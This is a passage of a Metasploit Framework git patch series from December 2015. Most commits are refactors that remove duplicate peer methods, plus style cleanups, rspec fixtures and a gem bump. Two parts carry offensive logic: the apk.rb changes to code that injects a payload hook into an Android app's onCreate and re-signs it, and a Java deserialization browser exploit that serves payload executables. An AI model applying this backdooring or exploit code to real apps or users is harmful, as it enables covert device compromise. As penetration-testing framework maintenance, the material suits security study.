end - def peer - "#{rhost}:#{rport}" - end def check_rdp_vuln # check if rdp is open diff --git a/modules/auxiliary/scanner/rsync/modules_list.rb b/modules/auxiliary/scanner/rsync/modules_list.rb index ab198bbad6..37584933e1 100644 --- a/modules/auxiliary/scanner/rsync/modules_list.rb +++ b/modules/auxiliary/scanner/rsync/modules_list.rb @@ -56,10 +56,6 @@ class Metasploit3 < Msf::Auxiliary ) end - def peer - "#{rhost}:#{rport}" - end - def read_timeout datastore['READ_TIMEOUT'] end diff --git a/modules/auxiliary/scanner/ssh/ssh_version.rb b/modules/auxiliary/scanner/ssh/ssh_version.rb index 4292689896..5371196d34 100644 --- a/modules/auxiliary/scanner/ssh/ssh_version.rb +++ b/modules/auxiliary/scanner/ssh/ssh_version.rb @@ -37,10 +37,6 @@ class Metasploit3 < Msf::Auxiliary ) end - def peer - "#{rhost}:#{rport}" - end - def timeout datastore['TIMEOUT'] <= 0 ? DEFAULT_TIMEOUT : datastore['TIMEOUT'] end diff --git a/modules/auxiliary/scanner/ssl/openssl_ccs.rb b/modules/auxiliary/scanner/ssl/openssl_ccs.rb index 79b0bb86d1..69f1e4cfa4 100644 --- a/modules/auxiliary/scanner/ssl/openssl_ccs.rb +++ b/modules/auxiliary/scanner/ssl/openssl_ccs.rb @@ -111,10 +111,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def response_timeout datastore['RESPONSE_TIMEOUT'] end diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb index 07bc61c836..6d1a466b31 100644 --- a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -170,10 +170,6 @@ class Metasploit3 < Msf::Auxiliary end - def peer - "#{rhost}:#{rport}" - end - # # Main methods # diff --git a/modules/exploits/linux/http/nginx_chunked_size.rb b/modules/exploits/linux/http/nginx_chunked_size.rb index b588bb1053..be5ae4c9c3 100644 --- a/modules/exploits/linux/http/nginx_chunked_size.rb +++ b/modules/exploits/linux/http/nginx_chunked_size.rb @@ -33,7 +33,7 @@ class Metasploit4 < Msf::Exploit::Remote ['CVE', '2013-2028'], ['OSVDB', '93037'], ['URL', 'http://nginx.org/en/security_advisories.html'], - ['URL', 'http://packetstormsecurity.com/files/121560/Nginx-1.3.9-1.4.0-Stack-Buffer-Overflow.html'] + ['PACKETSTORM', '121560'] ], 'Privileged' => false, 'Payload' => @@ -73,9 +73,6 @@ class Metasploit4 < Msf::Exploit::Remote end - def peer - "#{rhost}:#{rport}" - end def check begin diff --git a/modules/exploits/linux/misc/jenkins_java_deserialize.rb b/modules/exploits/linux/misc/jenkins_java_deserialize.rb index 96a79dce1d..c7eec77106 100644 --- a/modules/exploits/linux/misc/jenkins_java_deserialize.rb +++ b/modules/exploits/linux/misc/jenkins_java_deserialize.rb @@ -54,10 +54,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def exploit unless vulnerable? fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...") diff --git a/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb b/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb index 6b1141fcc2..c6861a0ea3 100644 --- a/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb +++ b/modules/exploits/multi/misc/hp_data_protector_exec_integutil.rb @@ -129,10 +129,6 @@ class Metasploit3 < Msf::Exploit::Remote end end - def peer - "#{rhost}:#{rport}" - end - def build_pkt(fields) data = "\xff\xfe" # BOM Unicode fields.each do |v| diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb index a01e067e78..3bd4d88285 100644 --- a/modules/exploits/multi/misc/java_jdwp_debugger.rb +++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb @@ -147,10 +147,6 @@ class Metasploit3 < Msf::Exploit::Remote end - def peer - "#{rhost}:#{rport}" - end - def default_timeout datastore['RESPONSE_TIMEOUT'] end diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index 128be9b71c..90f87dea99 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -106,10 +106,6 @@ class Metasploit3 < Msf::Exploit::Remote end end - def peer - "#{rhost}:#{rport}" - end - def primer connect diff --git a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb index a2f4c18ba6..b8fc3c811f 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb @@ -87,9 +87,6 @@ class Metasploit3 < Msf::Exploit::Remote Exploit::CheckCode::Detected end - def peer - "#{rhost}:#{rport}" - end def get_fingerprint ommni = connect diff --git a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb index 81c51a11fd..cfa69e5d2f 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb @@ -105,9 +105,6 @@ class Metasploit3 < Msf::Exploit::Remote end end - def peer - "#{rhost}:#{rport}" - end def build_pkt(fields) data = "\xff\xfe" # BOM Unicode diff --git a/modules/exploits/windows/misc/hp_dataprotector_traversal.rb b/modules/exploits/windows/misc/hp_dataprotector_traversal.rb index ce3ff71b99..b43d9af842 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_traversal.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_traversal.rb @@ -101,10 +101,6 @@ class Metasploit3 < Msf::Exploit::Remote register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}") end - def peer - "#{rhost}:#{rport}" - end - def build_pkt(fields) data = "\xff\xfe" # BOM Unicode fields.each do |v| diff --git a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb index 6143ce46ef..b2a11ea670 100644 --- a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb +++ b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb @@ -66,10 +66,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def peer - "#{rhost}:#{rport}" - end - # # Check # From 83f0c2fa054a7162bb6af7446fe02806c963d9ff Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 23 Dec 2015 12:53:12 -0800 Subject: [PATCH 1693/2172] Add beginnings of rspec coverage for msftidy --- .../modules/auxiliary/auxiliary_tidy.rb | 22 +++++++++++++ .../modules/auxiliary/auxiliary_untidy.rb | 23 +++++++++++++ .../modules/payloads/payload_tidy.rb | 17 ++++++++++ spec/tools/dev/msftidy_spec.rb | 32 +++++++++++++++++++ 4 files changed, 94 insertions(+) create mode 100644 spec/file_fixtures/modules/auxiliary/auxiliary_tidy.rb create mode 100644 spec/file_fixtures/modules/auxiliary/auxiliary_untidy.rb create mode 100644 spec/file_fixtures/modules/payloads/payload_tidy.rb create mode 100644 spec/tools/dev/msftidy_spec.rb diff --git a/spec/file_fixtures/modules/auxiliary/auxiliary_tidy.rb b/spec/file_fixtures/modules/auxiliary/auxiliary_tidy.rb new file mode 100644 index 0000000000..7dc728b013 --- /dev/null +++ b/spec/file_fixtures/modules/auxiliary/auxiliary_tidy.rb @@ -0,0 +1,22 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Tidy Auxiliary Module for RSpec' + 'Description' => 'Test!' + }, + 'Author' => %w(Unknown), + 'License' => MSF_LICENSE, + ) + ) + end +end + diff --git a/spec/file_fixtures/modules/auxiliary/auxiliary_untidy.rb b/spec/file_fixtures/modules/auxiliary/auxiliary_untidy.rb new file mode 100644 index 0000000000..ddf7c73da2 --- /dev/null +++ b/spec/file_fixtures/modules/auxiliary/auxiliary_untidy.rb @@ -0,0 +1,23 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +# XXX: invalid super class for an auxiliary module +class Metasploit4 < Msf::Exploit + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Untidy Auxiliary Module for RSpec' + 'Description' => 'Test!' + }, + 'Author' => %w(Unknown), + 'License' => MSF_LICENSE, + ) + ) + end +end + diff --git a/spec/file_fixtures/modules/payloads/payload_tidy.rb b/spec/file_fixtures/modules/payloads/payload_tidy.rb new file mode 100644 index 0000000000..6182da4663 --- /dev/null +++ b/spec/file_fixtures/modules/payloads/payload_tidy.rb @@ -0,0 +1,17 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +module Metasploit4 + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Unix Command Shell, Bind TCP (via AWK)', + 'Description' => 'Listen for a connection and spawn a command shell via GNU AWK', + ) + ) + end +end diff --git a/spec/tools/dev/msftidy_spec.rb b/spec/tools/dev/msftidy_spec.rb new file mode 100644 index 0000000000..c48c97c2b5 --- /dev/null +++ b/spec/tools/dev/msftidy_spec.rb @@ -0,0 +1,32 @@ +RSpec.describe 'msftidy utility' do + let(:msftidy) { File.expand_path('tools/dev/msftidy.rb') } + + it "shows Usage if invalid arguments are provided" do + expect { system(msftidy) }.to output(/Usage/).to_stderr_from_any_process + end + + context "with a tidy auxiliary module" do + let(:auxiliary_tidy) { File.expand_path('modules/auxiliary/auxiliary_tidy.rb', FILE_FIXTURES_PATH) } + + it "outputs nothing" do + expect { system("#{msftidy} #{auxiliary_tidy}") }.to_not output.to_stdout_from_any_process + end + end + + context "with an untidy auxiliary module" do + let(:auxiliary_untidy) { File.expand_path('modules/auxiliary/auxiliary_untidy.rb', FILE_FIXTURES_PATH) } + + it "outputs expected errors and warnings" do + expect { system("#{msftidy} #{auxiliary_untidy}") }.to \ + output(/ERROR.*Invalid super class for auxiliary module/).to_stdout_from_any_process + end + end + + context "with a tidy payload module" do + let(:payload_tidy) { File.expand_path('modules/payloads/payload_tidy.rb', FILE_FIXTURES_PATH) } + + it "outputs nothing" do + expect { system("#{msftidy} #{payload_tidy}") }.to_not output.to_stdout_from_any_process + end + end +end From 5ac4e9aa6bd0bf2efc4b9f5cac31a72ea53e2a46 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Wed, 23 Dec 2015 12:55:01 -0800 Subject: [PATCH 1694/2172] Correct payload fixture --- spec/file_fixtures/modules/payloads/payload_tidy.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/file_fixtures/modules/payloads/payload_tidy.rb b/spec/file_fixtures/modules/payloads/payload_tidy.rb index 6182da4663..6a59fc28e2 100644 --- a/spec/file_fixtures/modules/payloads/payload_tidy.rb +++ b/spec/file_fixtures/modules/payloads/payload_tidy.rb @@ -9,8 +9,8 @@ module Metasploit4 super( merge_info( info, - 'Name' => 'Unix Command Shell, Bind TCP (via AWK)', - 'Description' => 'Listen for a connection and spawn a command shell via GNU AWK', + 'Name' => 'Tidy Payload for RSpec', + 'Description' => 'Test!' ) ) end From 7444f2472136f5f75ca942d02fca3910f0bce793 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Wed, 23 Dec 2015 15:42:27 -0600 Subject: [PATCH 1695/2172] update whitespace / syntax for java_calendar_deserialize --- .../browser/java_calendar_deserialize.rb | 76 +++++++++---------- 1 file changed, 37 insertions(+), 39 deletions(-) diff --git a/modules/exploits/multi/browser/java_calendar_deserialize.rb b/modules/exploits/multi/browser/java_calendar_deserialize.rb index fce4771cb8..3942291ee4 100644 --- a/modules/exploits/multi/browser/java_calendar_deserialize.rb +++ b/modules/exploits/multi/browser/java_calendar_deserialize.rb @@ -13,12 +13,12 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::EXE # Superceded by java_atomicreferencearray - #include Msf::Exploit::Remote::BrowserAutopwn - #autopwn_info({ :javascript => false }) + # include Msf::Exploit::Remote::BrowserAutopwn + # autopwn_info({ :javascript => false }) - def initialize( info = {} ) - - super( update_info( info, + def initialize(info = {}) + super( + update_info(info, 'Name' => 'Sun Java Calendar Deserialization Privilege Escalation', 'Description' => %q{ This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM. @@ -39,74 +39,73 @@ class Metasploit3 < Msf::Exploit::Remote [ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ], [ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ] ], - 'Platform' => %w{ linux osx solaris win }, + 'Platform' => %w(linux osx solaris win), 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_PPC, + 'Arch' => ARCH_PPC } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => ARCH_X86 } - ], + ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 03 2008' - )) + ) + ) end - def exploit # load the static jar file - path = File.join( Msf::Config.data_directory, "exploits", "CVE-2008-5353.jar" ) - fd = File.open( path, "rb" ) + path = File.join(Msf::Config.data_directory, "exploits", "CVE-2008-5353.jar") + fd = File.open(path, "rb") @jar_data = fd.read(fd.stat.size) fd.close super end - - def on_request_uri( cli, request ) + def on_request_uri(cli, request) data = nil host = nil port = nil - if not request.uri.match(/\.jar$/i) - if not request.uri.match(/\/$/) - send_redirect( cli, get_resource() + '/', '') + if !request.uri.match(/\.jar$/i) + if !request.uri.match(/\/$/) + send_redirect(cli, get_resource + '/', '') return end - print_status("#{self.name} handling request") + print_status("#{name} handling request") - payload = regenerate_payload( cli ) - if not payload - print_error( "Failed to generate the payload." ) + payload = regenerate_payload(cli) + if !payload + print_error("Failed to generate the payload.") return end @@ -122,10 +121,10 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Payload will be a Java bind shell") end if jar - print_status( "Generated jar to drop (#{jar.length} bytes)." ) - jar = Rex::Text.to_hex( jar, prefix="" ) + print_status("Generated jar to drop (#{jar.length} bytes).") + jar = Rex::Text.to_hex(jar, prefix = "") else - print_error( "Failed to generate the executable." ) + print_error("Failed to generate the executable.") return end else @@ -133,22 +132,22 @@ class Metasploit3 < Msf::Exploit::Remote # NOTE: The EXE mixin automagically handles detection of arch/platform data = generate_payload_exe - print_status( "Generated executable to drop (#{data.length} bytes)." ) - data = Rex::Text.to_hex( data, prefix="" ) + print_status("Generated executable to drop (#{data.length} bytes).") + data = Rex::Text.to_hex(data, prefix = "") end - send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } ) + send_response_html(cli, generate_html(data, jar, host, port), 'Content-Type' => 'text/html') return end - print_status( "Sending Applet.jar" ) - send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } ) + print_status("Sending Applet.jar") + send_response(cli, generate_jar, 'Content-Type' => "application/octet-stream") - handler( cli ) + handler(cli) end - def generate_html( data, jar, host, port ) + def generate_html(data, jar, host, port) html = "Loading, Please Wait..." html += "

Loading, Please Wait...

" html += "" @@ -157,11 +156,10 @@ class Metasploit3 < Msf::Exploit::Remote html += "" if host html += "" if port html += "" - return html + html end - def generate_jar() - return @jar_data + def generate_jar + @jar_data end - end From 69b65e7d397ff4aa247629fad508da5cc175f6f8 Mon Sep 17 00:00:00 2001 From: Tim Date: Thu, 24 Dec 2015 09:13:56 +0000 Subject: [PATCH 1696/2172] fix error handling --- lib/msf/core/payload/apk.rb | 23 ++++++++++------------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index 107d70d5b7..62764370a0 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -21,13 +21,13 @@ module Msf::Payload::Apk $stderr.puts "[*] #{msg}" end - def print_error(msf='') + def print_error(msg='') $stderr.puts "[-] #{msg}" end def usage - print_error "Usage: #{$0} [target.apk] [msfvenom options]\n" - print_error "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" + print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n" + print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n" end def run_cmd(cmd) @@ -120,25 +120,22 @@ module Msf::Payload::Apk def backdoor_payload(apkfile, raw_payload) unless apkfile && File.readable?(apkfile) usage - exit(1) + raise RuntimeError, "Invalid template: #{apkfile}" end jarsigner = run_cmd("jarsigner") unless jarsigner != nil - print_error("jarsigner not found. If it's not in your PATH, please add it.") - exit(1) + raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it." end apktool = run_cmd("apktool -version") unless apktool != nil - print_error "apktool not found. If it's not in your PATH, please add it." - exit(1) + raise RuntimeError, "apktool not found. If it's not in your PATH, please add it." end apk_v = Gem::Version.new(apktool) unless apk_v >= Gem::Version.new('2.0.1') - print_error "apktool version #{apk_v} not supported, please download at least version 2.0.1." - exit(1) + raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1." end #Create temporary directory where work will be done @@ -163,8 +160,7 @@ module Msf::Payload::Apk begin activitysmali = File.read(smalifile) rescue Errno::ENOENT - print_status "Unable to find correct hook automatically\n" - exit + raise RuntimeError, "Unable to find hook point in #{apkfile}\n" end print_status "Copying payload files..\n" @@ -185,8 +181,9 @@ module Msf::Payload::Apk run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey") outputapk = File.read(injected_apk) - rescue + FileUtils.remove_entry tempdir + outputapk end end From 5d0e868fd6422bafaf102c57398837acac8a46ef Mon Sep 17 00:00:00 2001 From: Tim Date: Thu, 24 Dec 2015 12:21:08 +0000 Subject: [PATCH 1697/2172] facebook.orca fixes --- lib/msf/core/payload/apk.rb | 46 +++++++++++++++++++++++++------------ 1 file changed, 31 insertions(+), 15 deletions(-) diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb index 62764370a0..7aa9c34bb6 100644 --- a/lib/msf/core/payload/apk.rb +++ b/lib/msf/core/payload/apk.rb @@ -44,7 +44,10 @@ module Msf::Payload::Apk package = amanifest.xpath("//manifest").first['package'] activities = amanifest.xpath("//activity|//activity-alias") for activity in activities - activityname = activity.attribute("name") + activityname = activity.attribute("targetActivity") + unless activityname + activityname = activity.attribute("name") + end category = activity.search('category') unless category next @@ -52,11 +55,11 @@ module Msf::Payload::Apk for cat in category categoryname = cat.attribute('name') if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') - activityname = activityname.to_s - unless activityname.start_with?(package) - activityname = package + activityname + name = activityname.to_s + if name.start_with?('.') + name = package + name end - return activityname + return name end end end @@ -153,22 +156,35 @@ module Msf::Payload::Apk amanifest = Nokogiri::XML(f) f.close - print_status "Locating onCreate() hook..\n" - + print_status "Locating hook point..\n" launcheractivity = find_launcher_activity(amanifest) - smalifile = "#{tempdir}/original/smali/" + launcheractivity.gsub(/\./, "/") + ".smali" - begin - activitysmali = File.read(smalifile) - rescue Errno::ENOENT - raise RuntimeError, "Unable to find hook point in #{apkfile}\n" + unless launcheractivity + raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n" + end + smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali" + smalifiles = Dir.glob(smalifile) + for smalifile in smalifiles + if File.readable?(smalifile) + activitysmali = File.read(smalifile) + end + end + + unless activitysmali + raise RuntimeError, "Unable to find hook point in #{smalifiles}\n" + end + + entrypoint = ';->onCreate(Landroid/os/Bundle;)V' + unless activitysmali.include? entrypoint + raise RuntimeError, "Unable to find onCreate() in #{smalifile}\n" end print_status "Copying payload files..\n" FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/") FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/" - activitycreate = ';->onCreate(Landroid/os/Bundle;)V' - payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" - hookedsmali = activitysmali.gsub(activitycreate, payloadhook) + + payloadhook = entrypoint + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" + hookedsmali = activitysmali.gsub(entrypoint, payloadhook) + print_status "Loading #{smalifile} and injecting payload..\n" File.open(smalifile, "wb") {|file| file.puts hookedsmali } injected_apk = "#{tempdir}/output.apk" From 431c6001a887483fc0dbbc74d0d0ef1e18e41061 Mon Sep 17 00:00:00 2001 From: karllll Date: Thu, 24 Dec 2015 10:10:39 -0500 Subject: [PATCH 1698/2172] Fix recovery_files.rb Description grammar errors --- .../windows/gather/forensics/recovery_files.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/post/windows/gather/forensics/recovery_files.rb b/modules/post/windows/gather/forensics/recovery_files.rb index 37a88f6d92..c32cfa7420 100644 --- a/modules/post/windows/gather/forensics/recovery_files.rb +++ b/modules/post/windows/gather/forensics/recovery_files.rb @@ -11,13 +11,13 @@ class Metasploit3 < Msf::Post super( update_info( info, 'Name' => 'Windows Gather Deleted Files Enumeration and Recovering', 'Description' => %q{ - This module list and try to recover deleted files from NTFS file systems. Use - the FILES option to guide recovery. Let it empty to enumerate deleted files in the - DRIVE. Set FILES to an extension (Ex. "pdf") to recover deleted files with that - extension. Or set FILES to a comma separated list of IDs (from enumeration) to - recover those files. The user must have into account file enumeration and recovery - could take a long time, use the TIMEOUT option to abort enumeration or recovery by - extension after that time (in seconds). + This module lists and attempts to recover deleted files from NTFS file systems. Use + the FILES option to guide recovery. Leave this option empty to enumerate deleted files in the + DRIVE. Set FILES to an extension (e.g., "pdf") to recover deleted files with that + extension, or set FILES to a comma separated list of IDs (from enumeration) to + recover those files. The user must have account file enumeration. Recovery + may take a long time; use the TIMEOUT option to abort enumeration or recovery by + extension after a specified period (in seconds). }, 'License' => MSF_LICENSE, 'Platform' => ['win'], From c55f61d2d794429126dbe3b68e0ce209a94146d3 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 24 Dec 2015 07:44:36 -0800 Subject: [PATCH 1699/2172] Remove peer; included via Exploit::Remote::Tcp in lib/msf/core/exploit/smtp.rb --- modules/auxiliary/scanner/smtp/smtp_relay.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/auxiliary/scanner/smtp/smtp_relay.rb b/modules/auxiliary/scanner/smtp/smtp_relay.rb index e6dd07ca49..1c5be24aad 100644 --- a/modules/auxiliary/scanner/smtp/smtp_relay.rb +++ b/modules/auxiliary/scanner/smtp/smtp_relay.rb @@ -38,10 +38,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def peer - "#{rhost}:#{rport}" - end - def run_host(ip) begin connect From cb752a4bcf19a752bc8601fbed7670bed301dfbb Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 24 Dec 2015 07:46:23 -0800 Subject: [PATCH 1700/2172] Remove peer; included via Exploit::Remote::Tcp in lib/msf/core/exploit/mysql.rb --- modules/auxiliary/scanner/mysql/mysql_file_enum.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb index b8736a0231..7219f8eab1 100644 --- a/modules/auxiliary/scanner/mysql/mysql_file_enum.rb +++ b/modules/auxiliary/scanner/mysql/mysql_file_enum.rb @@ -43,10 +43,6 @@ class Metasploit3 < Msf::Auxiliary res end - def peer - "#{rhost}:#{rport}" - end - def run_host(ip) vprint_status("#{peer} - Login...") From 0f2f2a3d085fed630cff964ef43947fb9ceb7fa8 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 24 Dec 2015 07:46:55 -0800 Subject: [PATCH 1701/2172] Remove peer; included via Exploit::Remote::Tcp in lib/msf/core/exploit/mysql.rb --- modules/exploits/windows/mysql/mysql_mof.rb | 4 ---- modules/exploits/windows/mysql/mysql_start_up.rb | 4 ---- 2 files changed, 8 deletions(-) diff --git a/modules/exploits/windows/mysql/mysql_mof.rb b/modules/exploits/windows/mysql/mysql_mof.rb index d5f5f5bb83..f0147cad1f 100644 --- a/modules/exploits/windows/mysql/mysql_mof.rb +++ b/modules/exploits/windows/mysql/mysql_mof.rb @@ -59,10 +59,6 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe end - def peer - "#{rhost}:#{rport}" - end - def query(q) rows = [] diff --git a/modules/exploits/windows/mysql/mysql_start_up.rb b/modules/exploits/windows/mysql/mysql_start_up.rb index 9a26596055..29a09fcac5 100644 --- a/modules/exploits/windows/mysql/mysql_start_up.rb +++ b/modules/exploits/windows/mysql/mysql_start_up.rb @@ -64,10 +64,6 @@ class Metasploit3 < Msf::Exploit::Remote Exploit::CheckCode::Safe end - def peer - "#{rhost}:#{rport}" - end - def query(q) rows = [] From 3535cf3d18e847b668705fb971b4e70f7a466d9b Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 24 Dec 2015 07:51:12 -0800 Subject: [PATCH 1702/2172] Remove peer; included via HttpClient in lib/msf/core/exploit/mssql_sqli.rb --- modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb index 7f94d52706..320c1850a6 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb @@ -89,10 +89,6 @@ class Metasploit3 < Msf::Auxiliary end end - def peer - "#{rhost}:#{rport}" - end - def get_username # Setup query to check for database username clue_start = Rex::Text.rand_text_alpha(8 + rand(4)) From f8943f482195c1975407c67c8b1cb62e503def06 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 24 Dec 2015 07:57:16 -0800 Subject: [PATCH 1703/2172] Remove peer; defined in lib/msf/core/post/common.rb --- modules/post/multi/manage/play_youtube.rb | 5 ----- modules/post/osx/gather/safari_lastsession.rb | 5 ----- .../windows/gather/credentials/smartermail.rb | 18 +----------------- 3 files changed, 1 insertion(+), 27 deletions(-) diff --git a/modules/post/multi/manage/play_youtube.rb b/modules/post/multi/manage/play_youtube.rb index a80919af62..0c5d85ce3d 100644 --- a/modules/post/multi/manage/play_youtube.rb +++ b/modules/post/multi/manage/play_youtube.rb @@ -31,11 +31,6 @@ class Metasploit3 < Msf::Post ], self.class) end - def peer - "#{session.session_host}:#{session.session_port}" - end - - # # The OSX version uses an apple script to do this # diff --git a/modules/post/osx/gather/safari_lastsession.rb b/modules/post/osx/gather/safari_lastsession.rb index f3548cddf8..1763927d2d 100644 --- a/modules/post/osx/gather/safari_lastsession.rb +++ b/modules/post/osx/gather/safari_lastsession.rb @@ -58,11 +58,6 @@ class Metasploit3 < Msf::Post version end - def peer - "#{session.session_host}:#{session.session_port}" - end - - # # Converts LastSession.plist to xml, and then read it # @param filename [String] The path to LastSession.plist diff --git a/modules/post/windows/gather/credentials/smartermail.rb b/modules/post/windows/gather/credentials/smartermail.rb index 5c934c5584..cb0fce4d6e 100644 --- a/modules/post/windows/gather/credentials/smartermail.rb +++ b/modules/post/windows/gather/credentials/smartermail.rb @@ -38,22 +38,6 @@ class Metasploit3 < Msf::Post )) end - def r_host - if session.type =~ /meterpreter/ - session.sock.peerhost - else - session.session_host - end - end - - def peer - if session.type =~ /meterpreter/ - "#{r_host} (#{sysinfo['Computer']})" - else - r_host - end - end - # # Decrypt DES encrypted password string # @@ -215,7 +199,7 @@ class Metasploit3 < Msf::Post print_good "#{peer} - Found Username: '#{user}' Password: '#{pass}'" report_cred( - ip: r_host, + ip: rhost, port: port, service_name: 'http', user: user, From 5bd1c11d740d5124498cb577d925c63802502392 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Thu, 24 Dec 2015 10:14:46 -0600 Subject: [PATCH 1704/2172] update to metasploit-payloads 1.0.21 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 7efbb4a62a..5cd096a299 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -13,7 +13,7 @@ PATH metasploit-concern (= 1.0.0) metasploit-credential (= 1.0.1) metasploit-model (= 1.0.0) - metasploit-payloads (= 1.0.19) + metasploit-payloads (= 1.0.21) metasploit_data_models (= 1.2.10) msgpack network_interface (~> 0.0.1) @@ -124,7 +124,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) 